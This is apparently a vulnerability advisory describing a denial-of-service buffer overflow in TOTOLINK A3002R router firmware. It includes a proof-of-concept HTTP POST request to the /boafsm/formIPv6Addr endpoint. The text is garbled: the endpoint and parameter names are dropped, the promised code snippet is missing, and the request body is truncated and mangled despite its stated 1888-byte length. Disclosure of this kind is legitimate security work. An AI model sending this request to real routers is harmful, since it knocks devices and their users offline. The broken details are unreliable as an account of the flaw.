Key Information Product Information Vendor: TOTOLINK Affected Product: A3002R Affected Firmware Version: V4.0.0-B20230531.1404 Firmware Download Link: download Vulnerability Overview The TOTOLINK A3002R router running firmware version V4.0.0-B20230531.1404 is affected by a severe buffer overflow vulnerability. This vulnerability can be triggered via the router's endpoint. Attackers can exploit this by sending a malicious HTTP POST request to perform a Denial of Service (DoS) attack. Vulnerability Details The code snippet reveals a buffer overflow issue when processing the parameter: POC (Proof of Concept) Example POC request: ```http POST /boafsm/formIPv6Addr HTTP/1.1 Host: 192.168.8.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 1888 Origin: http://192.168.8.1 Connection: Close Referer: http://192.168.8.1/wsecurity.htm Pragma: no-cache Cache-Control: no-cache xxxssssCheck%3bchBhloNf7wE1310b53db3bb1375285ac776fcubm1--t1&submit=-ur1?http://aaaaaaaaaaaaaaaaaaaaaaa